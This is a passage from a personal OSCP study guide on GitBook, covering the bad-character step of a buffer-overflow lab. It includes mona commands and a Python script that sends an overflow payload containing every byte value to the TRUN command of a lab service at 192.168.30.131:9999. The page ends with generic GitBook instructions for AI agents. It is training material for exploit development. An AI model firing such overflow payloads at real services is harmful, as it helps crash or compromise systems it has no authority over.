> For the complete documentation index, see [llms.txt](https://vulnableone.gitbook.io/vulnableone/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vulnableone.gitbook.io/vulnableone/course-review/cyber-security-courses-journey/oscp-journey/ctf/buffer-overflow/bof-tcm/5-finding-bad-characters.md).

# 5- Finding Bad Characters

**Finding Bad Characters:** When generating shell code, we need to know what characters are good for the shellcode and what characters are bad for the shellcode.

We can do that by running all the hex characters through our program and seeing if any of them act up. By default, the **null byte** act **x\00** acts up.

> For example, \x70 bad character, it maybe some command that runs in the program that tell you to do something. So, we don't want to use \x70 in our generating of shellcode because then the shellcode is going to break if it uses the \x70.

Let create folder in drive **C:\mona.** Go to immunity Debugger and type

```
!mona config -set workingfolder c:\mona
```

<figure><img src="https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FFKE82kBrbP3lP2dh4Pfu%2Fimage.png?alt=media&amp;token=8e740280-b498-4876-ba66-7ddac251542c" alt=""><figcaption></figcaption></figure>

To generate the bad characters **#exclude \x00**

```
 !mona bytearray -cpb "\x00"
```

<figure><img src="https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2F6h9PzRd4CLsSBO7qIQbP%2Fimage.png?alt=media&amp;token=316959e2-74eb-473e-b81e-40868558cbbd" alt=""><figcaption></figcaption></figure>

Otherwise, you can go to mona directory, there will be an output of bad characters file.

<figure><img src="https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2F01opZGqbWI00ETS6uKdd%2Fimage.png?alt=media&amp;token=7c6057fb-b8ab-433d-8e32-9c1ff9e53164" alt=""><figcaption></figcaption></figure>

<pre class="language-python" data-title="4-badchars.py"><code class="lang-python">//python3 4-badchars.py
<strong>
</strong><strong>#!/usr/bin/python3
</strong>
import sys, socket
from time import sleep

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13"
"\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39"
"\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c"
"\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72"
"\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85"
"\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98"
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab"
"\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe"
"\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1"
"\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7"
"\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

shellcode = "A" * 2003 + "B" * 4 + badchars

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	//Change This IP address and Port
	s.connect(('192.168.30.131',9999))

	payload = "TRUN /.:/" + shellcode

	s.send((payload.encode()))
	s.close()
except:
	print ("Error connecting to server")
	sys.exit()
</code></pre>

Once we have executed the script, we can compare the bad characters, we can use mona module.

```
!mona compare -f c:\mona\bytearray.bin -a 00F6F9D8  ​> Enter
```

<figure><img src="https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FENSNngWVXFZmps8MQXqD%2Fimage.png?alt=media&amp;token=3f0f6b9d-39ab-423f-8360-1fcb822f1210" alt=""><figcaption></figcaption></figure>

We can see that the result show bad chars **00** and **80**.

<figure><img src="https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2F5iYOQZF8JwoupKEtG9YF%2Fimage.png?alt=media&amp;token=24ff0487-a6f4-4e76-a022-75a1b6bf4be2" alt=""><figcaption></figcaption></figure>

> Note everything show here are all bad characters. You need to remove it one by one.

Then, try to remove **\x00** that bad character from the shellcode, and try to send the shellcode once again. You could see in Filed Badchars is **blank**.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://vulnableone.gitbook.io/vulnableone/course-review/cyber-security-courses-journey/oscp-journey/ctf/buffer-overflow/bof-tcm/5-finding-bad-characters.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
